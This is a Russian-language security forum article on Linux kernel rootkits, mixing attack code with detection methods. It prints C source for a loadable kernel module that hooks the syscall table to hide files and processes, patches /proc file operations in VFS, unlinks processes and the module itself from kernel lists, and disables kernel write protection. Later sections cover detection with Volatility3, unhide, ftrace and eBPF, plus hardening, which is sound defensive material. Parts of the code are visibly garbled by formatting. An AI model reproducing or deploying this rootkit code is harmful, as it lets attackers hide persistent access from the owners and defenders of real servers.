PDA

Просмотр полной версии : Kernel Rootkit Linux: перехват syscall table, модификация VFS и сокрытие процессов — от кода до детектирования


Сергей Попов
11.04.2026, 23:29
https://forum.antichat.xyz/attachments/4951473/img_65e5490664.png

Загрузили вредоносный модуль ядра в ring 0 - и всё, между вами и железом пусто. SELinux, AppArmor, антивирус в userland - всё это работает этажом выше и тупо не видит, что творится внутри ядра. Kernel rootkit на Linux - один из самых опасных инструментов в арсенале атакующего (полная классификация всех типов руткитов и матрица их обнаружения - в обзоре техник руткитов с картой противодействия (https://forum.antichat.xyz/threads/592911/)), и одновременно одна из самых недооценённых угроз в русскоязычном сообществе. Мало кто копает эту тему на уровне кода, а зря.

Здесь разберу три ключевые техники LKM-руткитов: перехват syscall table, модификацию VFS для сокрытия файлов и манипуляции с процессами через DKOM. Каждый блок - рабочий код на C, объяснение «почему именно так», а рядом взгляд с позиции защитника: что оставляет артефакты, что видит Volatility и где

rkhunter

бессилен.
Зачем пентестеру разбираться в руткитах ядра
В red team-операциях kernel rootkit linux - инструмент последней мили. Вы уже получили root, закрепились в системе, и теперь задача - остаться незамеченным максимально долго. Userland-руткиты через

LD_PRELOAD

обнаруживаются тривиально - достаточно мониторить

/etc/ld.so.preload

и переменные окружения. А вот LKM-руткит, сидящий в kernel space, перехватывает системные вызовы до того, как информация дойдёт до любого инструмента в userland. Разница - как между подслушиванием за дверью и контролем самого коммутатора.

По классификации MITRE ATT&CK руткиты ядра покрывают сразу несколько тактик:

T1014 (Defense Evasion) - основная функция: сокрытие следов

T1547.006 (Persistence / Privilege Escalation) - доставка через загрузку модуля

T1574 (Persistence / Privilege Escalation / Defense Evasion) - перехват потока выполнения. Для userland это LD_PRELOAD, DLL side-loading и прочее, а kernel-level hooking (syscall table, VFS) точнее всего покрывается T1014. Историческая справка: техника T1179 Hooking отозвана в ATT&CK v8 (октябрь 2020) и частично поглощена T1574 и T1056 (Input Capture), но kernel-level hooking в T1574 явно не описан
По данным Elastic Security Labs, даже тривиальная модификация бинарника руткита - добавление одного нулевого байта - значительно роняет процент обнаружения статическими сигнатурами на VirusTotal. Полагаться на файловые индикаторы нельзя: единственный надёжный сигнал - поведение руткита в runtime.
Подготовка лабораторной среды
Прежде чем лезть в код - настройте безопасную среду. Никогда не грузите экспериментальные модули ядра на хостовую машину. Лично я для таких вещей держу отдельную QEMU-виртуалку без сетевого моста.

Bash:



# Создание виртуальной машины через QEMU/KVM
qemu-system-x86_64
\
-kernel /path/to/bzImage
\
-append
"console=ttyS0 root=/dev/sda nokaslr"
\
-hda /path/to/rootfs.img
\
-m
2048
\
-nographic
\
-s -S
# GDB stub для отладки ядра


Флаг

nokaslr

отключает рандомизацию адресного пространства ядра - упрощает отладку.

-s -S

поднимают GDB-сервер на порту 1234 и останавливают CPU до подключения отладчика. В продакшене KASLR, разумеется, включён, и для атакующего это отдельная головная боль.

Для компиляции модулей - заголовки ядра целевой версии:

Bash:



apt
install
linux-headers-
$(uname -r)
build-essential


Перехват syscall table Linux: классическая техника
Перехват syscall table - фундаментальная техника linux lkm rootkit, описанная ещё в Phrack Magazine. Идея до безобразия проста: ядро хранит массив указателей на функции-обработчики системных вызовов. Подменил указатель - и каждый вызов

getdents64

или

kill

идёт через твой код.
Поиск адреса sys_call_table
Начиная с ядра 5.7,

kallsyms_lookup_name ('https://www.kernel.org/doc/html/latest/core-api/kernel-api.html')

больше не экспортируется для модулей. Разработчики ядра сделали это специально - чтобы усложнить жизнь авторам руткитов. Ирония в том, что обходной путь через kprobes работает не хуже:

C:



#include
static
unsigned
long
*
sys_call_table
;
static
unsigned
long
lookup_name
(
const
char
*
name
)
{
struct
kprobe
kp
=
{
.
symbol_name
=
name
}
;
unsigned
long
addr
;
if
(
register_kprobe
(
&
kp
)

/* Тип оригинального обработчика */
typedef
asmlinkage
long
(
*
orig_getdents64_t
)
(
const
struct
pt_regs
*
regs
)
;
static
orig_getdents64_t orig_getdents64
;
/* Префикс для скрываемых файлов */
#define HIDE_PREFIX "rootkit_"
asmlinkage
long
hooked_getdents64
(
const
struct
pt_regs
*
regs
)
{
struct
linux_dirent64
__user
*
dirent
;
struct
linux_dirent64
*
current_dir
,
*
prev_dir
=
NULL
;
struct
linux_dirent64
*
kdirent
;
long
ret
;
unsigned
long
offset
=
0
;
/* Вызываем оригинальный обработчик */
ret
=
orig_getdents64
(
regs
)
;
if
(
ret
si == rsi на x86_64; в ядрах 6.1+ поле может называться иначе -
проверьте arch/x86/include/asm/ptrace.h для вашей версии */
dirent
=
(
struct
linux_dirent64
__user
*
)
regs
->
si
;
/* Копируем результат в kernel space для модификации */
kdirent
=
kzalloc
(
ret
,
GFP_KERNEL
)
;
if
(
!
kdirent
)
return
ret
;
if
(
copy_from_user
(
kdirent
,
dirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
}
/* Итерируем по записям, удаляя скрываемые */
current_dir
=
kdirent
;
while
(
offset

d_name
,
HIDE_PREFIX
,
strlen
(
HIDE_PREFIX
)
)
==
0
)
{
/* Сдвигаем оставшиеся записи поверх текущей */
long
reclen
=
current_dir
->
d_reclen
;
memmove
(
current_dir
,
(
char
*
)
current_dir
+
reclen
,
ret
-
offset
-
reclen
)
;
ret
-=
reclen
;
continue
;
}
offset
+=
current_dir
->
d_reclen
;
prev_dir
=
current_dir
;
current_dir
=
(
void
*
)
current_dir
+
current_dir
->
d_reclen
;
}
if
(
copy_to_user
(
dirent
,
kdirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
/* fallback: оригинальный результат уже в userspace от первого вызова */
}
kfree
(
kdirent
)
;
return
ret
;
}


Установка хука - в

module_init

:

C:



static
int
__init
rootkit_init
(
void
)
{
sys_call_table
=
(
unsigned
long
*
)
lookup_name
(
"sys_call_table"
)
;
if
(
!
sys_call_table
)
return
-
ENXIO
;
orig_getdents64
=
(
orig_getdents64_t
)
sys_call_table
[
__NR_getdents64
]
;
write_cr0_forced
(
read_cr0
(
)
&
~
0x10000
)
;
sys_call_table
[
__NR_getdents64
]
=
(
unsigned
long
)
hooked_getdents64
;
write_cr0_forced
(
read_cr0
(
)
|
0x10000
)
;
return
0
;
}


После загрузки модуля любой файл с префиксом

rootkit_

исчезает из вывода

ls

,

find

и вообще чего угодно, что дёргает

getdents64

.

ps

тоже использует этот вызов при чтении

/proc

, так что тем же механизмом прячутся и процессы - достаточно фильтровать записи в

/proc

по PID.
Детектирование перехвата syscall table
С позиции синей команды перехват syscall table оставляет чёткий артефакт: адрес обработчика указывает за пределы текстового сегмента ядра, куда-то в регион памяти загруженного модуля. Грубо говоря - адрес «не оттуда».

Bash:



# Сравниваем адреса обработчиков с диапазоном ядра
cat
/proc/kallsyms
|
grep
sys_call_table
# Адреса должны лежать в диапазоне _stext .. _etext
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _stext"
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _etext"


Volatility3 с Linux-профилем проверяет целостность таблицы:

Bash:



# Проверка syscall table через volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall


Плагин

linux.check_syscall

сравнивает каждый адрес в

sys_call_table

с известными символами ядра. Адрес указывает на неизвестный регион - явный индикатор компрометации.

А вот

rkhunter

и

chkrootkit

работают из userland и полагаются на сигнатуры известных руткитов. Целостность syscall table в реальном времени они не проверяют. Кастомный руткит пройдёт мимо них без единого алерта.
Модификация VFS Linux: хуки на уровне файловой системы
Альтернатива грубой подмене syscall table - перехват на уровне Virtual File System. Это элегантнее и куда сложнее для детектирования: адреса в syscall table остаются чистыми.
Перехват iterate_shared в VFS
Когда userland-процесс вызывает

getdents64

, ядро в итоге дёргает метод

iterate_shared

из структуры

file_operations

конкретной файловой системы. У каждой ФС (ext4, procfs, tmpfs) - своя реализация. Руткит подменяет указатель

iterate_shared

в

file_operations

для

/proc

:

C:



#include
#include
static
struct
file_operations
*
proc_fops
;
static
int
(
*
orig_iterate_shared
)
(
struct
file
*
,
struct
dir_context
*
)
;
/* Наш filldir-фильтр */
/* Обёрточная структура для per-call хранения оригинального actor,
чтобы избежать race condition при параллельных вызовах. */
struct
my_dir_context
{
struct
dir_context
ctx
;
filldir_t real_actor
;
}
;
/* Тип возврата filldir_t: bool на ядрах 6.x, int на ядрах до ~5.18.
Семантика: на 6.x true=continue, false=stop;
на
real_actor
(
ctx
,
name
,
namelen
,
offset
,
ino
,
d_type
)
;
}
static
int
hooked_iterate_shared
(
struct
file
*
file
,
struct
dir_context
*
ctx
)
{
/* Per-call обёртка: сохраняем оригинальный actor без race condition */
struct
my_dir_context
my_ctx
=
{
.
ctx
.
actor
=
my_filldir
,
.
ctx
.
pos
=
ctx
->
pos
,
.
real_actor
=
ctx
->
actor
,
}
;
int
ret
=
orig_iterate_shared
(
file
,
&
my_ctx
.
ctx
)
;
/* Синхронизируем позицию обратно в оригинальный ctx */
ctx
->
pos
=
my_ctx
.
ctx
.
pos
;
return
ret
;
}


Получение указателя на

file_operations

для

/proc

:

C:



static
void
hook_proc_fops
(
void
)
{
struct
file
*
proc_filp
;
proc_filp
=
filp_open
(
"/proc"
,
O_RDONLY
,
0
)
;
if
(
IS_ERR
(
proc_filp
)
)
return
;
proc_fops
=
(
struct
file_operations
*
)
proc_filp
->
f_op
;
orig_iterate_shared
=
proc_fops
->
iterate_shared
;
/* proc_root_operations объявлена как const и лежит в .rodata -
прямая запись вызовет page fault. Используем set_memory_rw()
для модификации оригинальной структуры in-place. */
{
unsigned
long
fops_addr
=
(
unsigned
long
)
proc_fops
;
unsigned
long
aligned
=
fops_addr
&
PAGE_MASK
;
/* Снимаем RO-защиту со страницы, содержащей file_operations */
set_memory_rw
(
aligned
,
1
)
;
/* Подменяем iterate_shared в оригинальной структуре -
это глобальный эффект для всех open("/proc") */
(
(
struct
file_operations
*
)
proc_fops
)
->
iterate_shared
=
hooked_iterate_shared
;
set_memory_ro
(
aligned
,
1
)
;
}
filp_close
(
proc_filp
,
NULL
)
;
}


Ключевое преимущество: syscall table остаётся чистой, и плагины вроде

linux.check_syscall

в Volatility аномалий не увидят. Детектировать VFS-хуки на порядок сложнее.
Детектирование модификации VFS
Для обнаружения VFS-хуков нужно проверять указатели в

file_operations

конкретных файловых систем:

Bash:



# Volatility3: проверка модулей, которые могли подменить fops
vol3 -f memory.dump linux.check_modules.Check_modules


Сравнение адресов

iterate_shared

для procfs, sysfs, ext4 с диапазоном легитимных модулей ядра позволяет выявить подмену. Адрес указывает в регион загруженного LKM, который не является стандартным драйвером файловой системы - аномалия.

На живой системе помогает ftrace:

Bash:



# Трассировка вызовов iterate_shared
echo
'iterate_shared'
>
/sys/kernel/tracing/set_ftrace_filter
echo
function
>
/sys/kernel/tracing/current_tracer
cat
/sys/kernel/tracing/trace_pipe


Если при чтении

/proc

в трассировке всплывает вызов из неизвестного модуля - прямой индикатор VFS-хука.
Сокрытие процессов Linux kernel через DKOM


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Direct Kernel Object Manipulation - техника, при которой руткит правит внутренние структуры данных ядра напрямую, без перехвата каких-либо функций. По MITRE ATT&CK - T1014 (Rootkit, Defense Evasion). Самый «тихий» подход из трёх, но и самый хрупкий.
Манипуляция task_struct
Каждый процесс в Linux - это структура

task_struct

, связанная в двусвязный список. Выдернули процесс из списка - он исчез из

/proc

, но продолжает получать процессорное время (scheduler работает через другую структуру - run queue):

C:



#include
#include
static
void
hide_process
(
pid_t target_pid
)
{
struct
task_struct
*
task
;
struct
pid
*
pid_struct
;
pid_struct
=
find_get_pid
(
target_pid
)
;
if
(
!
pid_struct
)
return
;
task
=
pid_task
(
pid_struct
,
PIDTYPE_PID
)
;
if
(
!
task
)
{
put_pid
(
pid_struct
)
;
return
;
}
/* Удаляем из списка задач -
процесс исчезает из /proc и ps */
/* ВАЖНО: без tasklist_lock здесь возможен race condition
и kernel panic. В реальных руткитах (Diamorphine)
используется write_lock/unlock на tasklist_lock.
tasklist_lock не экспортируется для LKM - получаем
его адрес через lookup_name (определена выше). */
static
rwlock_t
*
tasklist_lock_ptr
;
tasklist_lock_ptr
=
(
rwlock_t
*
)
lookup_name
(
"tasklist_lock"
)
;
if
(
!
tasklist_lock_ptr
)
{
put_pid
(
pid_struct
)
;
return
;
}
unsigned
long
flags
;
write_lock_irqsave
(
tasklist_lock_ptr
,
flags
)
;
list_del_init
(
&
task
->
tasks
)
;
write_unlock_irqrestore
(
tasklist_lock_ptr
,
flags
)
;
/* Удаляем из PID namespace -
kill по PID тоже не найдёт */
/* Удаление из PID namespace зависит от версии ядра.
pid_links появилось в ~4.19, до этого - pids[].node.
На 6.x+ структура может отличаться - проверяйте sched.h. */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,19,0)
hlist_del_init
(
&
task
->
pid_links
[
PIDTYPE_PID
]
)
;
#else
hlist_del_init
(
&
task
->
pids
[
PIDTYPE_PID
]
.
node
)
;
#endif
put_pid
(
pid_struct
)
;
}


После

hide_process(1337)

процесс с PID 1337 пропадает из

ps aux

,

/proc/1337

перестаёт существовать,

kill -0 1337

возвращает ошибку. При этом процесс продолжает работать. Магия.

Но техника опасная: если скрытый процесс упадёт, ядро попытается удалить его из списка, в котором его уже нет. Результат - kernel panic. В реальных руткитах (Diamorphine, Reptile) реализации аккуратнее - с сохранением указателей для восстановления.
Сокрытие самого модуля ядра
Загруженный LKM виден через

lsmod

и

/proc/modules

. Руткит прячет себя аналогичным приёмом:

C:



static
struct
list_head
*
module_prev
;
static
void
hide_module
(
void
)
{
/* Сохраняем указатель для возможного восстановления */
module_prev
=
THIS_MODULE
->
list
.
prev
;
/* Удаляем из списка модулей */
list_del
(
&
THIS_MODULE
->
list
)
;
/* Удаляем из /sys/module/ */
kobject_del
(
&
THIS_MODULE
->
mkobj
.
kobj
)
;
}


После этого модуль не отображается в

lsmod

,

/proc/modules

и

/sys/module/

. Но он по-прежнему занимает память в kernel space - и именно это позволяет его найти через memory forensics. Модуль как бы снял табличку с двери, но комнату-то не освободил.
Детектирование DKOM-скрытых процессов
Утилита

unhide

специально заточена под поиск скрытых процессов. Она использует несколько методов опроса:

Bash:



# Брутфорс PID-пространства
unhide-linux brute
# Сравнение /proc с /proc/pid/status для каждого PID
unhide-linux proc
# Сравнение информации из разных системных вызовов
unhide-linux sys


Принцип:

unhide

отправляет

kill -0

для каждого возможного PID (или дёргает другие системные вызовы). Если процесс удалён из списка задач, но ещё живёт в планировщике, некоторые интерфейсы ядра вернут противоречивые результаты. Правда, если руткит перехватил

kill

через syscall table -

unhide

тоже окажется обманут. Такая вот гонка вооружений.

Volatility3 обходит проблему, анализируя дамп памяти офлайн:

Bash:



# Поиск скрытых процессов через анализ памяти
vol3 -f memory.dump linux.pslist.PsList
vol3 -f memory.dump linux.pstree.PsTree
# Сравнение: pslist проходит по task_struct->tasks,
# а psscan сканирует всю память по сигнатурам task_struct
vol3 -f memory.dump linux.psscan.PsScan


Расхождение между

pslist

и

psscan

- классический индикатор DKOM.

psscan

нашёл процесс, которого нет в

pslist

- значит, его выдернули из двусвязного списка.


Анализ реальных руткитов: Diamorphine и Reptile
Посмотрим, как описанные техники работают в живых проектах, которые упоминаются в исследованиях Elastic Security Labs и Wiz.
Diamorphine
Diamorphine - один из самых известных open-source LKM-руткитов, функциональный на ядрах от 2.6 до 6.x. Его архитектура:

КомпонентТехникаАртефакты Сокрытие файловПерехват getdents/getdents64Аномалия в syscall tableСокрытие процессовФильтрация по PID в hooked getdentsРасхождение pslist/psscanСокрытие модуляlist_del из modules listПамять модуля без записи в /proc/modulesУправлениеСигнал 63 (kill -63 PID)Нестандартные сигналы в аудит-логахПовышение привилегийОбработка сигнала 64 для grant rootСмена credentials процесса

Diamorphine использует syscall table hooking через kprobes на новых ядрах. Управление - через нестандартные сигналы:

kill -63

делает процесс невидимым,

kill -64

выдаёт root-shell. Элегантно и просто - никаких сетевых бэкдоров, всё через стандартный

kill

.
Reptile
Reptile - руткит посерьёзнее, с полноценной бэкдор-функциональностью. Помимо стандартного набора (сокрытие файлов, процессов, модуля) он включает:

Перехват сетевого трафика для активации magic-пакетом

Встроенный reverse shell

Хуки на уровне VFS для procfs и sysfs
По данным Elastic Security Labs, Reptile остаётся функциональным на многих дистрибутивах - «modern variant featuring backdoor capabilities». На одном из проектов я видел его модификацию с кастомным magic-пакетом на нестандартном протоколе. Обнаружили только через аномалию в memory dump.
Linux rootkit обнаружение: комплексная методология (https://forum.antichat.xyz/threads/592623/)
Ни один инструмент не ловит все типы руткитов. Эффективное linux rootkit детектирование требует многоуровневого подхода - от быстрых проверок на живой системе до полноценного memory forensics.
Уровень 1: проверка целостности на живой системе

Bash:



# rkhunter - сигнатурный анализ
rkhunter --check --skip-keypress
# chkrootkit - альтернативный сигнатурный сканер
chkrootkit -q
# Проверка tainted-флага ядра
cat
/proc/sys/kernel/tainted
# Значение != 0 означает загрузку стороннего модуля


Ограничение: оба инструмента работают из userland. Если руткит перехватил системные вызовы, которыми пользуются эти утилиты, результат будет подделан. Тактика T1562.001 (Disable or Modify Tools, Defense Evasion) как раз про это.
Уровень 2: поведенческий анализ

Bash:



# Проверка доступных функций для трассировки
cat
/sys/kernel/tracing/available_filter_functions
|
wc
-l
# Резкое изменение числа может указывать на фильтрацию
# Мониторинг загрузки модулей через auditd
auditctl -a always,exit -F
arch
=
b64 -S init_module
\
-S finit_module -k kernel_module_load
# Поиск аномалий в dmesg
dmesg
|
grep
-i
"tainted\|module\|insmod"


При загрузке любого стороннего модуля ядро пишет сообщение в ring buffer (

dmesg

). Руткит может его вычистить, но если настроен

rsyslog

с отправкой на удалённый сервер - лог уже ушёл. Поэтому централизованный сбор логов - не роскошь, а необходимость.
Уровень 3: офлайн-анализ памяти
Единственный по-настоящему надёжный метод - снять дамп памяти и анализировать вне скомпрометированной системы:

Bash:



# Снятие дампа через LiME (Linux Memory Extractor)
insmod lime.ko
"path=/tmp/memory.dump format=lime"
# Анализ через Volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
vol3 -f memory.dump linux.check_modules.Check_modules
vol3 -f memory.dump linux.hidden_modules.Hidden_modules
vol3 -f memory.dump linux.tty_check.tty_check


Плагин

linux.hidden_modules

ищет именно те модули, которые удалили себя из

/proc/modules

через

list_del

, но остались в памяти. Покрывает описанную выше технику сокрытия модуля.
Уровень 4: eBPF-мониторинг в реальном времени
Современный подход к linux rootkit защите - eBPF для мониторинга критических операций ядра в реальном времени:

Bash:



# Мониторинг загрузки модулей через bpftrace
bpftrace -e
'kprobe:do_init_module {
printf("Module loaded: %s by PID %d (%s)\n",
str(((struct module *)arg0)->name),
pid, comm);
}'
# Мониторинг сокрытия модулей (list_del - inline, kprobe на неё невозможен)
bpftrace -e
'kprobe:kobject_del {
printf("kobject_del called from %s (PID %d)\n", comm, pid);
}'


По данным Elastic Security Labs, eBPF-руткиты сами используют эту подсистему для атаки, но она же - мощный инструмент защиты. Условие одно: eBPF-программы мониторинга должны быть загружены до компрометации. Кто первый встал - того и тапки.
Практический чек-лист: пошаговая проверка системы
Конкретная последовательность действий для проверки Linux-сервера на наличие kernel rootkit:

Шаг 1. Проверьте tainted-флаг ядра:

cat /proc/sys/kernel/tainted

. Ненулевое значение - повод копать дальше.

Шаг 2. Сравните список модулей из

/proc/modules

с выводом

lsmod

. Расхождения - аномалия.

Шаг 3. Проверьте syscall table через

/proc/kallsyms

: адреса обработчиков должны лежать в диапазоне

_stext

..

_etext

.

Шаг 4. Запустите

unhide-linux brute sys proc

для поиска скрытых процессов.

Шаг 5. Снимите дамп памяти через LiME и проанализируйте офлайн через Volatility3 с плагинами

check_syscall

,

hidden_modules

,

psscan

.

Шаг 6. Проверьте аудит-логи на предмет вызовов

init_module

/

finit_module

- это единственные системные вызовы для загрузки модулей.
Защита от загрузки вредоносных модулей (https://forum.antichat.xyz/threads/592625/)
Превентивные меры эффективнее обнаружения постфактум. Вот что реально работает:

МераЧто защищаетОграниченияSecure Boot + подпись модулейЗапрещает загрузку неподписанных LKMТребует инфраструктуры PKI

kernel.modules_disabled=1

(sysctl)Полностью блокирует загрузку модулейНельзя загрузить легитимные драйверыSELinux/AppArmor в enforcingОграничивает

CAP_SYS_MODULE

Сложная настройка политикSeccomp-профили в контейнерахБлокирует

init_module

,

finit_module

Только для контейнерных средLockdown LSM (integrity mode)Запрещает доступ к

/dev/mem

, kprobesДоступен с ядра 5.4+

Самая радикальная мера - компиляция ядра без поддержки загружаемых модулей (

CONFIG_MODULES=n

). Полностью закрывает вектор LKM-руткитов, но делает систему негибкой. На практике я видел такой подход на honeypot-серверах и в специализированных аплайнсах - там это оправдано.
Заключение
Kernel rootkit linux - не академическая страшилка, а рабочий инструмент в таргетированных атаках на серверную инфраструктуру. Три техники - перехват syscall table, модификация VFS и DKOM - покрывают сокрытие файлов, процессов, сетевых соединений и самого руткита.

Для пентестера понимание этих техник на уровне кода нужно в двух направлениях: persistence в red team-сценариях и оценка того, насколько инфраструктура готова к такому уровню атаки. Для защитника - знание внутренностей руткитов объясняет, почему нельзя доверять userland-инструментам на скомпрометированной системе и почему memory forensics через Volatility3 остаётся единственным надёжным методом.

Ядро не лжёт - но руткит заставляет его лгать всем, кто спрашивает. Единственный способ увидеть правду - смотреть на память напрямую. Попробуйте собрать Diamorphine в лабораторной VM из раздела про подготовку среды, загрузить его и прогнать все шесть шагов чек-листа. Посмотрите, на каком шаге вы его поймаете - и на каких он пройдёт незамеченным.